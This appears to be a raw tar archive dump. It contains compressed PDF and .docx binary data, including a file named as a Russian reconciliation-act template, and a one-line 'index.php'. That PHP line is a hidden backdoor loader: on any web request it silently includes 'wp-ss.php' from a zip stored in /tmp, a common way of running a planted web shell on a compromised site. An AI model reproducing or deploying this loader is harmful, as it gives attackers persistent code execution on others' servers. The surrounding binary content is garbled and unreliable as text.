��6��m�FFUz8b �@J��&�9����5R���hD������&����}IEvl��+�³���E�	2d�ԡ�L��o>�~��͞��O�1��X�s��n�:�΅����U
[�	G�n�~�u���n�	��u'�i_j���w�mW]ӓ`u��y��$Ar�r�d$<@��DwYx$�=�K<Yb�4�y���][��^I�lK�D��N�Us�ڬϬ�q~P�EƏ��:ѮnN�	p.*�r�hr�&�(j=J]��h9��� *�><���wQ�J�SB�٢�/���j$FʦN���ن�"�f�BP���U\��XOǰa˙ڐp_Rӽ�"�q1=Rď�z߄����[3�_Pw�_O��:��"9bV���Xn-��5�ѡ���u��ē�%6�~e��;�^�ҩ�iU�d�@�s����ks���GF̀u�g}T�E�B@VrB�Y� ��A�CF��
�AwZ^��싷�5{uuz�!����`�2e`��je|�H�5�L�>p�݃��[�8���{__~��ݖ�C��\<�I�u����_�Ͼ{�������g�Q��u��m�X����g�y���ې*w�O�WTy��� �U,��hQ���̌�O.T�;�lOV��s��5�౹���"�©���9�N���I�莅�9l�Hk!�>� 4/K&��]�t�R(l�1�N�sY�l�"���n�a��ß(��r6�-4Ḑ�����+v�5��� �_I.餓��Ka.EW����M-���Ĉg�lY|������m���޷T�>y��v׍�L";�ن�k�X��ܥw\y�B�ۥm����ǵ�߻�F�-H�5�O6Ȅ��k��zi��I6�"+��&��us���N`e��*LcJ��(�Ux��Ӝu�Q!w�j�W�/�_!��:��Eޕ��$�̯q�u�����ѭ�=�q�l����v�u�7>����_��nԲ�
S,/^^D�z����������i_n�M�7�^Y7q
v>t렱+�N2�,B_���%�}�����xg�,�X����\>Pk�M-q��X���)XTY�[-j�J�th���0�U�	K0;���.����åE�x�M\sf���t����'ѾՔ��"ܧ�
Y�E;.yL+���
�����5���J��{#�ߞP��U1��θ�3�`��@����e����N�vgz��wfy��*ư?=<!�)�'��(�n���t��V؈-�B0����
Pv��3��9E�!��,r�:��X�"��L|���wl;X[{�Nh�{?��i7_1g^��޸q�ˮ��m
[&��۸���|tnu߫��щ��Q�t?���$#q�`"��32�f:cx� -�*���U���O��5�m6j�h���L
FA1K`2�M`n!�	w���	�h<&'��3�P�����f����@���0��	�+
��B��O��'�� e�3S1�I�y8h-t�>��6�M��bR���pg��f��
�5�H�EA�2v�7<��N��/O����[��k��ir��t�5�Îp)��IQ�s:���'b\�;^=>qU�ʶ���fn��۵F�S�HaP!�������|@� ��$C��Q�(�� �*T�����t�e�2*.��Pn䚣m�ۗ��meo|Z�
E�g����A��*�`7
��_��S3�������ν!i�δ��UYJ�ڣ(�,�%�t��G=��:����pRMf�H~g���Z/mЧ�A�!D�϶%v>@Z�#Э�pZ���*a�3������YT���v$L��,%��r4Mm!���+��!��Ym�F��͉�M�������Zq���6."�u����]��j��;y#y���"�:fZ�c�&a�<0�B)�Fi�'AH�a�Mr�˛h�Z���8(�}c��8�;���f0��Îj���gS�	BG'8�N�A;!�E��4z�&��Y	8���
��
Y�Rl�:eHNC��@�2'/�8�s�
;�46��Щ�srbBϬ�x��C?Ɠ�%PT�Ф�U�:�1=n�7��	��� h'�=�>�d�A�cy]��I�Y2F��$(|����6�Gq�'�y�&�����,��
u�}{
�ʴ��>>C.7�>HtC>"��<*��i��%�!,�(�Ԧ*KE�`7'�@6#E"�2�,XӋ�-E�9���JF�\o'6Yp䈂�f�U!aB�W�SF�.�`��u�� ~��cH�HQ���'!h����/B�$5��("R)�^�5�k�=�\k�'�-!��d�c
�ӿ�#�~���L���r#�8�0?%s"i�Oӹ(塄J��{���|��IA<��=
h��aib��d��X�f'zx�Ha;Z�<���9��M�:x�a��71����$v�Ϥ�1�Jp���|�L�|YV�3ښ��
��K��@��wn��X�Ê����l*���h���p��	�գ�G��E�=�b�R$�y�$)Z��B:�,v��4]�ܞ��B���=u:�J���S�F�8�M���/�x��-i��_Ҷ�/>���y��Q;��-H��㭷Ӥ�%�g�N� �!'���膇3AQ����B(t����f<`{BK1O�������,f��t�X�!��Q���	ʣ�ϊ2�F***/�d���(�TF�3�������K��"-��i�}�*2I�:K*��,zLSN��Εwf� �����I��(4\��]~4��+�~#�f7�3iܸ�n0�P3�#�!�"a���gQ�%橤���|X�<\����rW��X}~7�p~-��j���z�a��w6�������l�8.8`g@�ǜ�L���
��X�Q�If�AĈ� �A�љ�8��g~b�֛�Y5!e
�Ø��x���ˠTR���^�ns��vN��G�ؗ?8n�k{]k"c�^[?�o�B=����ٯ��6���t�m�с��	AcP�A1(�E�E
]$.B��4�D:
@ �ِsI��%�1Ȇ0�8�^�A
�fq���i�Xo<e�D=j��ŧDǰI[�3��Q�rݐ�Yx�aNAǴ���M�(=�t����<�j�/�X�AR������5Y��#EL����'=�8w7);���j�qtSmL�	N�GڿN�v�n�ϓ��ytj���@HB7�&���WWq��/�`*8�G����[[��Sǐ��C��E�5�^
��9�N2z!�J�z����q���h43��̌���h��䖊6�������L�+��9H���%(��5XT�R��f��F�fjl�ɡ[u�;�\����#�/.%���c�l.��l2d�n��{�L�`)}��f���~5pU`S�X��f>S%UD'|��"��粲���S�F�ͷvH6�EIe���e����I��]˺(+��W�R^^G�_6K3eA‚&�1=�ł��=b�4M���6��+K˺dz�\��`t��#u݇_1g����B|�n-/O3��O��[׉�]22*��kWon�c�]{��m��ibY1FѬ�_�������bsn��z,��kV_�����������u�u	/�^P��s��#X��'h�K h�h,؇��Bz�GF*䰒�8�H��ѲP<��9���}��O'�g�Y=����� �A�����Vw��r7)��%�,�_zq0E�?^���<7��T��qˤ���x_E����/�5�7=����%������.O��Ը�����U�N�7���'/:Ǎ�\1��C��y��j�V���l�@��R��F{Ҟ6J�f0�dC?���!�rN���N�5�3YE��b	��E��k"���h\:����9��w)����{��}5�=�ZkZٿ�T�Hc�Tv�Z�R�U�|�Ҵ��]zBwi�W��H����aB�����'�#�'s��\��">�i�o���{�/1���A
T1�T� ;s��v��=�e^*YC2y]�xz
N��P��Q�UA~�u��wӣ��	�qi{G�^ObG1&t&��,��7��IÓ�L���Dv*r�hǎ_۫�����[��<ԚU��'��W���o3$�"�l݂��s����%�4cj���1fM�������Z.Ċ�%o�d�$ ,�\8?]v��4��Gf��7���@��(*H%I]��M$BO�d�>�)�Wj�����⺩�)y����n�3G{�_�Б�g��=��6.�Aw4�;��'����Ol8���y�kZi)Ҏ�,�(�0/���D�d>�ˉ���"�����u?���
�2��SA��|���U�DoS7�f��|��p
� ?�?����@!���"��Z�R��3%��� �:�t.XW�9�����%հ��7���W��jo�z>�ʪ��B�9Ҷ�� V2�鞗nH������g�R�4_���|���+!�l2��0: 4�H��j*0QSU2�_�ya�������_�E6����3�co��޸��0���Ͷ��r�@r9�@�ݖ�-u�TK��2�Lf�b4�Q����AJ+B+�;�hF��M_�ј�x��}M���t_��%��5��T>t[Y���z 5����6cב*~���<��|�Խ�h�����gGO��#Z���C�N�'~��U�^�0�>ԁ��pz�0D���8rL�/c��
8��lT7t%���#K�r$��z�~�/�u;�^wN4++�q�b9����`���\���pF﷢���Ao��Y1����)v��-�oN47�LƐ�ޢ����o
�>oV,�
�t���L녡�Ѝ>	�h�r���a��f�t���]�6*�8���۸ulS��j���~3'��Y����w��{��9��UKny��
s�h�+��-
#��펹ξ���5Ӌ<�Esb�Ss|-szv��ou�iӆ�f��^��n��8y����[/w
羰s3]<�ñ|L�yv�����DH�FQ:�ԉ�	�I���'>2P�Ҙb����.�2�����9���C�eE"F!3U�ݡ����t��T���;��EB%��sU"��q�g3�l>�`$��A���^�]�9�vNss�Yϣ���@�h,^����c�F�#��X	Y��m�P��0���R�l����E?�ƒ҅�-38�d���-�s����f�o����.��)'��zݔ�	�`��	%A,\lO�NX�
��h�=/����J��w�ya���m��-{�{�U�-���㡶j�ȹ���_��
箣O?K����Y���G����Ӿi��&�dc�/Z��=\�P��(�B��V,��4<�2���%1�f���cf�'�8_���Ҙ�	����f%+��:<`ȕewn�U�.쮞�ܙ���	�H�.
�N�8f�C��:C�LXm�Q�?vhi�3�x�p�rm���֦}ki����9ҥ?}�詿j�t}��Gmc�/��s�Mlj��Ry2r�[�)�g^p� "^K�nr<�� ���,p"�`3�,�ad�@O�S]D	t��Q[ڢv�	��a�
h��~�Vq�N��ε�ޭ(���h�fWh'�W�A�&��XĜv���`�a���Eѯ'ʤ6R���w9��Xר���<WmP�'�E�b�Ҵ�9!=�K���XC��/(�X�b�A�'-�ĦuD��O�wN�bM�J�C-�xNRgN���N=t�O/}s�����ޞ}`�^&W��[�y�d+)}g��Ҏ�ʖ��/�]zŔq��
�]fUS�%�	�$�	��)	S½�(�&��=�\��Y4d��"q��8��E��)I��(���`�X�FY4���j�V-�Y��29Bo���E1/@�a�޽
=ag~/����fk��kU���\� ��&��J�"�ۓr#��=J#yŽ��浑��o7��)��'T_x�L�K�W۶q��
iZ�F1�F��b����I�1K����z�AD,0�F�g���\�/ȉ�9+d�9q�a6����yF��h4�3���L�b�� �x��n�n!�&!1Vb
�Z��Gi�=��ً!����st	�B�l����a��Ԃ�d�TEk[�iF
K���K�x�R눡��c9����qA��LP�W%1��Ƙ�oI夕p�g�l�?|ͤ���A��
������c�}���Y/������}�&��U�j��׎Y��d�Խ"�pZ����	U�#�_n��pB1�Ҫʖ���+'O|�qRj�)䒁�˫l$/�Vi[޳��������z�>�~&�'�Y�Xieim�nY�'�$b�Xz�,U1�َ��j1�%����(*
R�!F�D�!g���`0d�ۣ�|섓8ά���L�Ds��8r���B�O��V�^�T��:����N��j�:�BP
� ;��Yͭ&jT�U0�8Q!���cToo<9U�,l:wC�p��^\;JT}����,��*���Fk�K�X�,��m���9��EhnOG��sI.����@ִm5SV��7OY�ڳ�펾��w�D��K�S<��Y�:>�g���	S�ܸ�����QY�哷=��F�'&�yDc�
�5���t�)�d���,�P̉l�n��^�iT��c>.��)ק�M���4���f̀L��
D%ð“kxZ�m�};�8�CA��	򊽅ޞ�;C�X4#dMxB��%|�[yk��X濫�'3R�1���V3�t2��S�f����<��#�R9�I�T
�V��p��aM1����0�;_�����)5��L:�����ERg��۹�~�\���w�^���
�tӺ-ہv�F+g��	�a��Ҕ�h�E��dB�ed�t����$�O�x>��cD���T�9���!,�-�لE�xX��q�-7{�>�x��S=��Vb�Çk�v�S�=iJ��]�o%�|-3z�g"Ps$�ŲE�W�Տ/\Ѷ�RA�(
k�$����rR���7>�ҝZ���%��|��A��+�^I6��*��ҝ�'��EC��ԻXZl\d��+���6�ƻ|^�~��t'Բ�5�>�d�
���Z��@��[6x�k�*>�QH�q���F{$a�VW����7�7��Z��f�\mh!��P7��'�~�����#x�4cϗ�qh-@P��;Flt��j��q i��m�~\M\����
�"���������(�{�wGV��>�+�ԅ��>{쥓���A���YP�oЍ�J���>B�I�~��&"��Q��X�l����#X��t	Y|Wk�Uʗ[���,˚��1�%�����
��E�7f�I��L�h��rj�E�(KU-��F�-�-,r(
�&�ѴNd���f�y�?Ye��J"9l�D�o�N���o�\6SӑBq�K�6�[њTy������YX�k�55I)9Re�2��d�Zj1Z0R�X�f���q��^�[���[0���n��\<��V'<Ǥ���إ}�k�+m/r���g�xh�ց[��~�VZ���	cW��[�L��D%Uf�`��u�2�A������"�#մ� Z3-�($���f�P��I>�TP"�%?X�!)�n��j���=_�憴&���[���Bn��xR-%3�R��n��n$��'��GN��}ܒ���-��_>��3d؞����-hԾ�yݺ5@�5S��M2?Q�����e�9���<����-�D���l�9 |�q9��:�V�S1C���6��j+��ȅ%��tK��:J�$���=�fb��'�o��c%)x�DŶ4R•J�r�z�t�\�������ps�:�l��Tg�g�s�Kk��H[ϭ�5������ߖ�yMΥ�7B�O`�{&3s��K��|ZT%�ؕ���p@;�OƌX�u������YB�s�/���G�xA��d0&DߊU��,��ew{�^�:�A��Ok�P�I\�B�B!`w9��2`�fq�j��l���T3>^��A ^�X*[�r��מc���h�AG_6ʨV�;  �i�,�
K���%{�[���6w��{W��O�[�bK��M٣p���
��U��yˈ�X*+�V9$��W�� ��,�˫*���)����d�ӝ���~�U�_�V�q�
j���|��I)����SO���E�/*r���u�{v��󜆎��|��G��z��Iz��+�E��'%�zR~�C�HT���XR��;2��7Q��v��{{L��i��N��}U8r~гO����k}�gR����}��nz���Ǡ�I�q;�C�1qE,��!2��s���z���Hω����Eq�gd�|k�#����
�?=Ljsx�� zr
-�ْ�We�f���33[���
wz����4�]CU}�d��%�Cuң���9�Gv�M_2o����!>�3�<���)�t��F��BO�vL�V$�,���7e� <)�ڲ��k�^��
_lԞ!]��l�Ik�7Z���]k���v�p�h�uLCK���>k������.���+g�F�Z��xm[��OIBR	�0N6��9�
#,�P"DQ��� � ��,����0Sz���A�-��A�N�M�Q�;י괉�)�_jz!+?���%��a��w�	��j�(sT�j���2�R�;@���x�gT�Q�9�l�����Ap�e��sa��*"j�TA�z�Y�[Xx%jf�@Q��h;��$�;�%����T����k�S�{=����M��\�����j�!,�j)zu�e�Q����m��H�6:	%��m�S���ܕH˦9
mp�rR/��{B�r6�߬��=ςM9�t�ß����.#��\�f9-Wd�ٳX�#�>�q{�W�D��v}�}q�x�>�\3_O�gC~qNv��?=�fs��5€LZ��EG�C�x�#������w�n�>����^7���k~����N'���ڇ:�����I���N�0�E�Y�1���G�/�v�\�p�����Ҏoj惊��}e�:nB�!$=�*e���[�v�5mgtV���Q��9�"�}�X��r@]��H��E��
�7��[7�ȣ+�$�v���lk�6�6�� ���6ƀ�/+e�L�("�B��V!Kɲ��~�L�UQ(�s��j��"��lTv�QQ�V0�W��)J���Jb��)��*̈́�B�
��y@�y(ZGȻ�no3v��g��V5���k���y�������ᨥ<��Z�|�C�������WC��}�=�-�g���^���]�b�h��&��c��y�@ �fDz	GNh?�1�0�~��%�7fE��Q���&�um_���d�tm96>��VH��=w�9h���c�c����iV�jQ]~��Y�)�iS����F�J��)�Zȋ��+�@����b��Rź� Y���
J�y�L��h�2��]L�y	k/]�b밈P�,"3��\#�9��j�jRD�n�6s�E}7nֶ,�F�=�4���-�:���׎{���p���?�w�G�Me⡍8��<N�p�hB�L#G�"d�`6��a*�0���z��r8G��
�K'^�^������Yf�.�6`�E���ցZ��n�����u�4kU=�������xR�G����DϷ���=Ө��=����߶�đZ����Z,l*\e��a�']N%���*^��Ɯj�D�U����vk��v��mf^1o�W8_>/�R�B'%�֥wn7�HD*N���(��x�6@���x��B��o$��B�M�8J…���+$�6]U��2^������w��AžC6i�޵��}����_�Γ*tGo%�W�~`��'�/���k,&�E.2'ы)e!����pe�^J�i�2�����:JejQ~���g\?�-��:e�i���"�
I��-��{ѫ1�eJ��!v��g��M�`�ݛ�w��muС(L/�3c�X8�f�;�V��UthLvj5��EA�*�j�,.���q���2(]&ve+�8'>o~�Τ ���0�Ƃu�%��5���4aQM-䵄)Def�p�7�:��e���צ�ښ���U���B�FJ0S(:[��)3]�Mj��lf	ϣJc����(�q����=�oI_���i�N>?XI���%�v����E���f�/����������\Ӧ൧+��Z�R����4�k�C��?|��w,x�E�sP�s���0~.�C!��~�߀[��6��8��W�o�K��f�L~!�w`4��򷴟��$�	w��X�	�Y|��epF���{*������g`}a�7�JX,�
��B>��?>?��zp?�P��x�|�BR��������X�`7��vqL���a-��hY�=�!l#{W����$�۰lz�h��X����h�<-�����}"��@{��H�
�6Q;�eP���2���?��9��8/��~Lʀׅ�JX�
��E�0E��=�.a
|,�j?dx�	al'��.���NF�	YKxVM�b?Y�X[�}ض��v�����ޝ����r�$��辅�#,���+��N���b�;�=Xv#��r��6��XnPVbi����)3�-'�;��X��-�4,x��(l���B[����$/�ߋ�H[��Hd�����K	�q8Y��7:ޛ�&#� k,�Y��X�����X�]�ħbY��	�|lO�7
��
��m?@wlO!Ҩh@�3%7��w���p
�e�\��[H��
�/��߷������2i6P�����؞���<p��?�]�O�?|��6~�rJ���p$��Mt���
��J��ʊ-tw��*d�};|��d/\�džvk��|���n��
�D,>�k�&v��}�]���+��!��qb@ro4'�r��[�ogs�v����W�8�{�83_�ҝ����X*����;��6�(��[�:��
���5+��NIK
�d��n�.�i\�7��8T�5)!�ST*Z�ġ�("mX;�Y��ʕCOz�)q�[ތ��J�������yǻ;��R
S��6���E�D���陑�J��&�k�!6�!
'k�W~.A<9���w��$Ւ:-ud�٥ޔ���i��Ԛ�פJ~��G��Ҷ[v��!$r�@�s`#t!
���P<hX<����zX;�9�H�m�$�f�
��	tO��lb��lrT����?��_��hV�xKQx��"�Q�W����E��zk�I�^Yo�_�^h����?0P�>����
o�/x
�3ֱK��6�����u{���|/૚]Ȓ�cx�:-�����9Mf9���V)X1���ˮ3�kËX@�.�O�hl���)ك2K��G�Ѣ��ָ��V�W��,��r�q���4�L�=ĽS�jB=��C��F԰���P�p��j4IC�dҰ��P�*�����N1�`�Q�z��s�yY����^�����'�)��'L'��~�t|>�b��K^_y7v���p�����C��W��n�^q]6�����s�O������WR�=ř�KG����iN�:5=��D3��?v�
�ˌ�ψ/���?�k�ځ
�V�t�0n��FuA�C���:th$G�~Cp���b��ޒ\��.9�v}n\c���q�n
������lJrS��q��^��t}g_=���I��,J��*(E"���)�"�){������E&��WʦY=/��|����K�Ii��������<�c߇�Czُ�efY)����rq���ͦVҽ0�5I�;>�K��������Pje6��� � �(��7���KTX�z���Y�K��ߨ;�uz�����g+.��b�*����9�	g(���H�F���B���K4J��\^�J�}`g
endstream
endobj
17 0 obj
<< /Filter /FlateDecode /Length 575 >>
stream
x�]�A��@���>�����4*x؝ee@&i�C���v�^���£���{UVV���L���V�0�S��}�]�}�g87m�X1uS
���.eg�x���
�rhO�4Y.M�+FoC�0/}Y}�o&����7��wq��xﺯp	�`r�Z�:��$+��ݏ�����롎��x���c�����B_��_��ge���Y�Ih�3�9N~��?e��D����(�(�U)�t;J����r�N����Q��#:�\ ZP�Q՚r3Iѫ
�r��4y���(���!m����U����~AI^��בȾ�H��$��.x��kDi�� �)���n!��A�U{H�!诰��l���j��Y�
x�H�_V%�Uc��*�k�+�˹�Z�LȫQ�׫$/*���y�A��Zz��_��	����_K�G�Dp��ʱ�4ǁW�r�&s�Y�#���y�9��Q�3[�0�:��ly�����B�<�+tÏ��+�G�X?CUz3�����/Gԃ��^K�=xE��_BO^M��2F^�O	�ɫ��tu��-��4y����qSNzڢ�l��\�ݵ�Ι�M���G�
endstream
endobj
18 0 obj
[ 6 0 R /XYZ 15.9 199.018 null ]
endobj
19 0 obj
[ 6 0 R /XYZ 15.9 199.018 null ]
endobj
xref
0 20
0000000000 65535 f
0000040708 00000 n
0000040763 00000 n
0000040850 00000 n
0000040918 00000 n
0000000010 00000 n
0000037963 00000 n
0000038121 00000 n
0000041036 00000 n
0000041193 00000 n
0000041852 00000 n
0000042069 00000 n
0000054927 00000 n
0000055406 00000 n
0000055567 00000 n
0000056730 00000 n
0000056951 00000 n
0000076377 00000 n
0000077031 00000 n
0000077083 00000 n
trailer
<<
/Size 20
/Root 1 0 R
/Info 2 0 R
/ID [<e61362a920140e5572bf053f3ab9b304><e61362a920140e5572bf053f3ab9b304>]
>>
startxref
77135
%%EOF
c54tyh/index.php000064400000000151000000000000007442 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "wp-ss.php"; include("zip:///tmp/phpgcuJge#$h");?>shablon-akta-sverki-1-1.docx000075500000067236000000000000011546 0ustar00PK!�ˬ�	[Content_Types].xml �(��VKK�@����Wi�U��=�8������]��S���I��j�5x	$3�c�MȌ�o�d/���`�|�2p�+��{|���,�pJ�`+Hl:9<?����.l��9OrV��pT)}��6�y�Ý��\z��p���/�K���=��D0�euc�U0��R ��S�T���랴�!Q�;���-E���ND�������+/�����4;|���|����enM�T��n���L��5\#ػ�C�m�!�� ��&�o�H�2��>���]	Ї�
s��W����y���{t�8����8Փ�-s��q��ዃ������W���5qG���_�t�����9�3}8�P��@����&�i~���?��������C��N?�F������D�ڡ�׻����PK!���N_rels/.rels �(����j�0@��ѽQ��N/c���[IL��j��<��]�aG��ӓ�zs�Fu�]��U
��	�^�[��x����1x�p���f��#I)ʃ�Y��������*D��i")��c$���qU��~3��1��jH[{�=E����~
f?��3-���޲]�Tꓸ2�j)�,l0/%��b�
���z���ʼn�,	�	�/�|f\Z���?6�!Y�_�o�]A���PK!1���V�word/_rels/document.xml.rels �(��U�n�0�W�? ߋ���C�\�J��T�Ձ塂��M[��Q�i�Ճ9� όg��f��6�HU���<y�˘��/7�S�x��!&=(�M��6��0ԇTUw��,\ŤB�(UY-S���/��-C]ʒv,�d%�(�T�$9��vyL�.�i��EQ�<����	Z�AjF&K@�9ԑ����W.
�c�
LF��©	���j�pBl�oDhmD�M�ze3�T_a߀ف���ߥ|vP(��6:�	�5Bk��ڥ�9��q�k N��H�@ܹ�?!��5�`��º o]���b;�����A���$P�5^��<��	z�'���PK!\��0Fu�word/document.xml�ko�����B�R �H�z�[��`Y8i�~�%��B�I���I�eC�&ݺ�(�:�/pS�����.��~�D��)�I� �)^��s�y�C��O�*��f]�2���������B��k�Jδd�&���,d3�������|M��4��0͜�kV2ۖ՜�f��Ґ͹F�j覾i�U�FV�ܬW��nԲ"/��S�Ы�i���ڮlfp�h�j���'�R��-��߂!�
$�-gK݀��0���
*�7�B����^U�|<H��A�!�A�uC*Ń��N�nכ��/n�FC�𩱕m�ƣ��-�)[���Z�0L���ڣ+³<�\�o�lC�)j��B�2;�6�̿��'K�g�;È�?���(�y�PTL]3��MO�q���.��^H�6T����Q\���
#e`��;�o�l�!
|�! �Q��Nw%
̅�/�E�6�
�@�P��#���Q�g��1����]0�A�%�{ͭ���SC�i����v�%�{�
���vI0[�m��UB�:gK�
yC�+�<�a6����xW8"t�E�*l�r�6T�p�p>ܷT<a~WV2��󪙬sC�/�ʦ�f�ʾ����S���v��nYz�5�i@��u��VŇ���[���|���U���7~�DZhI�\��r��6��w���n���ھ�]_���.=ӛ.r�v�Bf��1t��)WLUW���Kg��q�2ĝM�wr]3�5�`�ƛ��"��zW>�w6l�6�J�۩����*^Z�07�i��x{r���Y�bEWw�]v���M���f��!;Z�S�^#����(S1��Fs�b9`X�Ipǰ�KA7� ��ts9p������D>9_��`�pi`1�qHmS�/K���2r<�c��,�P�b
��J;���:d��*��9�V�n��MYs�	
�j�LkuGQ��7�Bo�'^�(Yq�wh��ܤ��.��-oE&��%���t�3��B踾�l�;�E��Jyսr�U���T�n2XDְ��MK!�@Y�N��(y'�;����OUw�U�)��7�i��e�f��
�zC1�ϔ=n]o�T++X��̺xq{	���+U�{�m�[1��|�Nt��|\!�2Ż�c����^QT��؟�����Z����>=�Ҳ����IQ�tR['� nq�\K�4S1v��"w��{��w�|��u�60�G�1g�dkz5+W�[�b<�g8��F͙b&Siʆl)���g�3qRQ_�[���Qp��t��"Q�E�
���á7����5>���Y�'E��C�hh�6:N%�0<�|��a��i�Ƚ�_a�EYrk)t/R�POJC%z�~C���C���Ϝ}���'�stj?EW�-�ޣ+�~���(�_�Ktf���1�����{Tz�$���@��p��.����{���� �%'�"?]����8�V�6��Cd�:E����z�tJ�6�0���b/�XǞ�K͡WS&\>gzm�'N�xLS��E˄����v���2�Dz��G�B�arL����B-�y';�T�G�A��T Я�A���$�[���W:�v�BM�v�D:��5�����hh~��:��+,�لP�],哨�G�B���ٗ������ZBJh�,�`��W$������W�iй^�ަs�1H��e|El���7B���B�8$�x�^
��J��Ryib���!���e��IJNg�WtJJR�$M�'�����O���&�Ю%%d��d��o�!�^ه�3݉�5fķ���"�X�c3�ALg0�2����������/���ɥ���9�����5�%6L�X_\`}����+�C|霱�5&k%'��Ѽ�>Ef�L}U}f�6]��rM�әY!�[*'���9�>�Qp��1W�H@����~�~�ӳk�J��̭w:\II�]�풶�ҦW�ox�n��k#�o�_wNn{��h��M�~N>uuˢS.b�-�)�N"��;�~�\>&/��x����K9E��Ȏ.G)�y�Vפ(�|.JM�B#ӆ�p.Ÿ
�`��RN*�/�XZ�Eq5��	a1	�v��r��0{�/��RNtԩ��h2�nf�d+��CL��M�GA�џ�}�9�
QZ
�k��ke!�+�*����,L�����^z0�D�p�n�ﺐ�/y�:g*|��4K
ܪ�Ù�9�>�Ծ4`���W�s�}��a�1_��������"�N�M�V�伮�	��O�/x��&1�W��{z3��9�hl�g�)њ�����G�o�64��,,�K�@�a�3�G=�"8���փG��m;I�]�8����9�`����|=0�t0�@��P���NN��{��P'p9p�H�3`��
��/�
�@[
AF�ɁM1�9�_�]gmORE�+ރ��ݪ�Y��j�r���~ʸ^tG�q��*��WR(>�)ڭ��$TL��1�:}�x�6��$��6sr�6`C_���c�����'���Y<�n�8�=܉C��K�ya�/��|�T_�͑���8_ZVy�z9,56/ω�1#Rq���	m����o�,k���Ge��c~����*cM�FOm\7$��觎��*�*4؉����-W�<^n�-�s�FosG�{Ǻ��A����(F�r���"uEp%!ծ�T�q�E5O~xΒ�n��(�s]ևtn�$$k��J2��=M&#}�.H�`�~�]��]2�J����_}��˚��B~qN+#���s�S��4e,wJ	�&�6�9a�J��`/άiM����y���K��Ī�8.g4N�Z�djEMC�7W
�l��f�oɆk�����/&u���"�U��\����1������~�-�1\|��Hc���~:��W��=J�]���<��jԘ�/�Y �yhJ��hJ��)�R�e���7�R����)%Y�44�@S
4������&Q9���f��h׀v�D�b�VЮ�C����k@�ƌ�w
�5F̃4�Q�]�5�Ѯ���v
�@t�U�@@#�4I342���'����>42tKB�N�R���CA#�tz�a��L#�(A'C|���ɐh�z(A!�^�N� &�$V��xc�8:��a8�փN�d��NA'�(�y��1J�,w2��2@+�)HA@
Z&����@�6��B+�����-	�Z85K1�2�2�5�V�W��~
�2ӽ
9!�
P���R*;~3�C�%;���k$��_�I"���m��s!��G&���S|1�t.@��pp#���'��CGW���M��ubw�泱��	��3��WD�d(jBz}��K��6<��=%*�6k��n��>Խ��w>\B9��`���=!=���P���R*R������-]���� �(C���ω5��Ts�����a(�փ&�^�Q�������}�����v�p����MPK���҇ס/������'
M�a�� ޚ��B��r&��=,*cτq��a��R*R�������[���5$��]َ�������#����h�9V,m
��0��A[C/)	m
����m
Ӿ����I;S�~E�M��H�O_zi�k�ᙵ�m1�����7���A���d��?���o3���~����1�ޣS<r���I�*��A1a~]�Z-��P�����s�� ��mx*Ơ��q9�di�ր /��6�퓩�C���3��q��;�d�����	�D/i�:H�4�t/iNu��s�*��"(G(�u��h6�x`�&TƳ��O�1��ι�
:F���]}ġK��9�8'�?�ՙ���<.4��K�pDF���d�B��ߐ��v�ՙ@�{�<�z�)�Do�pT�F�^GJ��ÆJ�xĆz�:Pw	r�}=wX��
c����˺QS��鄝�|M�2�|��t��������`Te�C����e�xs)gǛZǛ\Sn2�a��l�I����G.,^Z��6�i���G�.;g��]�ihm��z���^���w���	�5xl�)���G�ua���Aj����O�V
Ry��l,O[ΉK��xyZ�͜˪�}�ݯ�۸ta�L�L�N&��r�!8]R�$>+���� e�b�/vIO����5I(��c��⿝�+m�u
��̰�����.2R!K�
�l8��KG�
K�R�'o)ˆ"�v/�yzt��8n�`��~��u>]�A/���B�0����B	Aedj��h3�b��_`�y���%���o�!�^ه���	��O�[tf?p��Jq��ҝ������?���[[O�F�+V�Z�瞠����C��쪏+ǞǶlC�}�j�j[�RQU-�?�))Y�_�����C�	Yr� �xf<��s�sf���Yk!Q�H��[�P�ʪ���a��[��J���k��j���"leIA
�lg�V���;��2��,^!���B���"1�d�!P�Iz)psk��+R���#�)k��)�h-dZ�F�>
e�9n�_�[|���\�+��бe��6Ce3I�g�������W M3*��,�?�?!��D�?q��;jEu�7�{l���&)7[-�c� J[�pZ77QQ�Ӝ��9
i6��LQHMҁ�x>Db�H��>W�
D��%3�{yORYҝ�����_L�F������Z(���K�:T�Hސ�����V8:�<�������W�tz�02?/��!^��1"�-��
� ���om��/{v�Yf!E����� 0_B�����5���{���\ lC��_�'>��=��lgR>��{L< �V���q�5����*dF��>���%Q�C���<d"5�@=�D�'8<������'8<��	Opx�3���/�JQ8��H��L��Z�T%oJzSO�)L�Ƥ�o_�`A7��7,�\����.�{,@L���+h'pʟ�iк��&��ّ!M>	�ݝ��N�ÖiF1kЙm�,��w$�a2͹62�0��`Ճ��~\���,L=�@w���xuf�5�/n�"���L�_&8a��4�[�X���wdϜҺ{����M�g��
�pT��cMݟ�6���*�_�7�n	���)�ՠ�#�3�1U���r鏆F�r`�!<��Ǽ
?qiG��>i{jr���>����M��#���<�X$KO���g��d���Xsc�R�;o��y�É�Nː��U>8����U�Qϔ���̍�Nc�U��>����N�����c��tv���h��
Ax&;@&�8��ǎ�����3K]����&���9YA����w�>	�wp�͖���`�e�ڥ��pKU��hu���~a<��]6*�mVW�-iż���
���ڋ��m�pQ���)�m���nvu7xN�_���
4�"�ߢV�Dc)oP�L���uPu󁹂�8F���|����f���Wm��>_w�fϦ�Iq�zb��b������#h2�j><M>��G›�7��`����_��[V2����<3�:[
�׬��ǥ�P��k�e��޷#1��\�
�`ak�j�-�k���\0j�Y."��p4�N�!� IA�6*"�2|�G��g��"�;%�Tԫ��$n����բa8t�~�ug�ao�׀��eڇ�CG{'�R��)y�&��R w�7L��a�HHAu�-K&�&o(У'�Y�^"jr���
��o#t��e�p*�ɩ���uL�f=�vⴟҞCO=,dC#��9|R�T਎�r%�[1��J5UG9ՑA�h�v���Y0��.�+������PK!ĩ���word/header3.xml���n�0��W�;D�'P��X�U�V����!V}��$�;		a��*��0���3�7�G)��YǵJP4
Q��)W���~��Q�<Q)Z���C�ۇo�2�R�Z��44A��&��ьI⦒S���)��S�KmS<���d���9X�;Qq����0ZjI	�
��iF�gǎ�Y�'��f#@�,��7���r�=���i1����H�>i5�4���H�r��׆)��k+�����%������?���p�bW�#��B���f�
K�21O[�NPnU��'}e=>뛡U�!�%;Msɔ�#ǖ	ȅV.����r,
